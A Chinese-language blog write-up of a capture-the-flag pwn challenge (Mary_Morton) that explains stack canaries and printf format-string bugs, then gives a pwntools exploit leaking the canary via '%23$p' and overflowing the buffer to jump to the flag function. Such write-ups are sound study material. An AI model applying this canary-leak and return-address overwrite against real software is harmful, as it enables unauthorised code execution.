CTF Pwn Canary栈溢出保护+printf格式化字符串漏洞简单解析

今日学习Canary栈溢出保护和printf字符串格式化漏洞并在没有看WriteUp的情况下做出一道题,所以把知识点总结一下。也省得自己将来再做这种题目的时候忘掉了。

Printf字符串格式化漏洞主要参考:
https://wiki.x10sec.org/pwn/fmtstr/fmtstr_exploit/
http://www.cplusplus.com/reference/cstdio/printf/?kw=printf

首先要明确的一点是,printf有一个格式说明符(format specifier) “%n”,这个字符可以用于向int32类型实参中写入当前printf语句所输出的字符个数,这就给我们留下了一个更改任意内存地址变量的机会。
在这其中,对整形变量有一个扩展的格式说明符,是”%X$Y” (可能是只有linux的libc有这个特别的扩展,在Linux下gcc/g++都可以使用,win下gcc/g++则不行)。其中X代表调用printf函数的第几个参数,Y可以是d/x/p/n等等,是常见的格式说明符。因为这个X可以随意取,所以我们可以看到栈上的任意内容、也可以修改任意内存地址的内容。

Canary栈溢出保护主要参考:
https://www.jianshu.com/p/3d390a321cb8
https://wiki.x10sec.org/pwn/mitigation/Canary/

为了防止利用漏洞恶意构造exploit覆盖return address,有人想出了一个办法,将一个特定的值canary压到ebp的上面(应该是从某个寄存器搞过来的),(应该是)在整个程序运行期间保持不变。如果有人想要借助buffer修改return address,它必须要把canary的值压过去。程序的function在return的时候会check这个canary的值是否和原来相等。如果不相等肯定就是有人攻击。报错退出。怎么绕过呢?搞个什么办法把这个canary的值获取到,在覆盖Buffer的时候把canary值放到原本的地方就好了。不过一般情况下是很难实现的。

下面以这道题目Mary_Morton(https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4979&page=1)为例,这道题目综合运用了这两个漏洞。虽然这道题对大佬来说很简单,但是对我来说还是挺难的。

1、首先看sub_4009DA(),1是缓冲区溢出,2是格式化字符串漏洞。
2、看格式化字符串的sub_4008EB(),显然有格式化字符串漏洞。
首先试探buf的起始位置,payload=”0000-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p”,0x30303030出现在第6个%p打印处,可知偏移是6。
再去试探canary的位置,上IDA查栈,buf在ebp偏移0x90处,canary在ebp偏移0x08处,算一下在第23个%p处,gdb调试一下下断点在0x40094e。发现eax和第23个%p值相等的,证明canary获取成功。
一开始不知道,调用两次函数,canary的值是否相等?试了一下,canary的值都是一样的。所以我估计canary在整个程序运行期间都不会变。
后来还想用2做缓冲区溢出,怎么试都不对后来发现read的长度都到不了return addr的地方,所以换用1.
3、看缓冲区溢出的sub_400960(),构造Payload=b’0’*0x88+p64(canary_int)+p64(0)+p64(0x4008da),canary_int是步骤2获取到的canary值,0x4008da是输出flag的函数地址。
4、成功!

下面是exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.log_level="debug"
context(arch="amd64",os="linux")

p = remote("111.198.29.45",52498)

p.recvuntil("Exit the battle \n")
p.sendline("2")
payload = b"%23$p"
p.sendline(payload)
canary = p.recvuntil("\n")
canary_int = int(canary,16)
print(hex(canary_int))
p.recvuntil("Exit the battle \n")

p.sendline("1")
payload = b'0'*0x88+p64(canary_int)+p64(0)+p64(0x4008da)

p.send(payload)
p.interactive()

发表评论

电子邮件地址不会被公开。 必填项已用*标注